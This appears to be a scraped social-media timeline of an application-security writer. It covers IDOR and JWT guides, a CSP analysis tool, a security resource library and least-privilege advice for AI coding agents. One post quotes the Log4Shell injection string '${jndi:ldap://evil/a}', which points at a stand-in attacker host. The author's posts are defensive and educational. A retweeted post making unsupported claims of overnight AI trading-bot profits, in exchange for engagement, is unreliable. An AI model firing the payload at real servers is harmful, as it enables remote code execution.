Carl Sampson retweeted
lost my job yesterday.
Rent was due.
No backup plan.
Then I remembered I still had Claude.
Asked it:
“Analyze every top Polymarket wallet from the last 90 days and build me something”
$25 → $4,237 in one night.
It scanned 10,000 wallets.
Cross-referenced win rates, sizing, timing.
Found 7 traders whose edge wasn’t luck.
Then built an autonomous agent.
Not a script.
Not an if-then bot.
An agent that reads live news,
maps it to markets,
detects mispricing,
and exploits arbitrage across outcomes.
Sizes every position using Kelly.
I deployed it at 11:47PM.
Closed the laptop.
Woke up to:
$25 → $4,237
94 trades while I slept.
No input.
No hesitation.
No second-guessing.
That’s the game.
Information asymmetry at machine speed.
Wall Street pays millions for this.
I pay $20/month.
You only need Claude + laptop + 1 hour/day.
Giving This Free for 24 hours. To get it:
1. Comment the word 'AutoPilot'
2. Like and Retweet this post
3. Follow me @david_marco45 (so i can DM you) ☝️
An AI coding agent wiped a production database in 9 seconds using a token it found in an unrelated file.
Your agent's real permissions are every credential it can reach.
Least-privilege checklist for AI coding agents:
chs.us/2026/10/least-privile…
#AppSec #AISecurity #DevSecOps
If the user ID is in a JWT instead of the URL, forging the token is your IDOR. I built a playground to try it in your browser: chs.us/tools/jwt/
Most IDOR fixes I see just swap integer IDs for UUIDs, and that isn't authorization. Section 11 of the guide covers how UUIDs leak anyway. chs.us/guides/idor/
The IDOR guide on chs.us is getting more traffic than anything else I've written, so I added a "where to go next" section.
If you liked it, the authz and GraphQL guides are where the same bug keeps showing up. chs.us/guides/idor/
Check out the latest article in my newsletter: The protocol that won't tell you who it's for... linkedin.com/pulse/protocol-… via @LinkedIn
Work out what the Noblesville Schools referendum actually costs your household — put in your own assessed value: stopthenoblesvillereferendum….
#noblesville #Indiana
Everyone's seen ${jndi:ldap://evil/a}. Fewer people have seen what actually comes back over the wire.
I hand-rolled the javax.naming.Reference serialization, byte for byte — then round-tripped it through a real JVM and found 2 bugs my own test couldn't catch.
chs.us/2026/07/jndi-referenc…
#infosec #appsec #Log4Shell #Java
Carl Sampson retweeted
It's very concerning that IU has a Software Engineering Department and that none of their graduates has the skill needed for an entry level position? I would love to see if 100% of their 2026 grads are gainfully employed.
Carl Sampson retweeted
🛠️ 𝐀𝐧𝐭𝐢𝐒𝐒𝐑𝐅
New secure-by-default library by @msftsecurity that prevents SSRF attacks.
Currently supports .NET and Node.js.
The original "Showstopper!: The breakneck race to create Windows NT and the next generation at Microsoft " from 1994 was one of those books that fundamentally changed how I think about software development.
Reading about Dave Cutler's team building Windows NT from the ground up — the engineering culture, the technical decisions under pressure, the relentless focus on architecture — that influenced how I approach development and security.
When I first read it, I was earlier in my security journey. While the book wasn't specifically about security, seeing how they thought about system design from the ground up, the importance of getting the foundation right, that was a lightbulb moment.
This new edition reminds us that great software comes from great engineering culture and disciplined architecture decisions. In security, we talk a lot about "shifting left," but really we're talking about the same thing - getting the fundamentals right from the start.
What book fundamentally changed how you approach your craft?
#ApplicationSecurity #SoftwareEngineering #BookRecommendation #Engineering
Carl Sampson retweeted
241 new appsec.fyi resources — SSRF (+12), AI (+10), API Security (+10), +22 more. appsec.fyi
Carl Sampson retweeted
Async IO in Python: A Complete Walkthrough – Real Python
The content titled "Async IO in Python: A Complete Walkthrough" on Real Python likely provides a comprehensive guide on asyn…
realpython.com/async-io-pyth… #appsec #Python
I've been building the iOS companion to appsec.fyi — bringing those 3,000+ curated application security resources to your phone.
It's done!
Mobile-first features:
• Offline access to all articles and tools
• Interactive topic explorer with 75+ connections
• Built-in security glossary (48 terms)
• Browse by 25+ topics (XSS, SQLi, SSRF, IDOR, RCE, etc.)
• Background sync for new content
Grab it here - apps.apple.com/app/id6762207…
I've been building appsec.fyi — a free curated library of application security resources.
2,600+ articles, tools, and writeups across 22 topics (XSS, SQLi, SSRF, IDOR, RCE, and more).
Just added search + 6 new topics. Submissions welcome.
appsec.fyi
I built csp-toolkit to parse and analyze Content Security Policy headers at scale. 21 checks, 79 bypass domains, full CLI + #Python API.
pip install csp-toolkit
Read more at - chs.us/2026/03/csp-toolkit/
#infosec #bugbounty #appsec #opensourcesecurity #csp
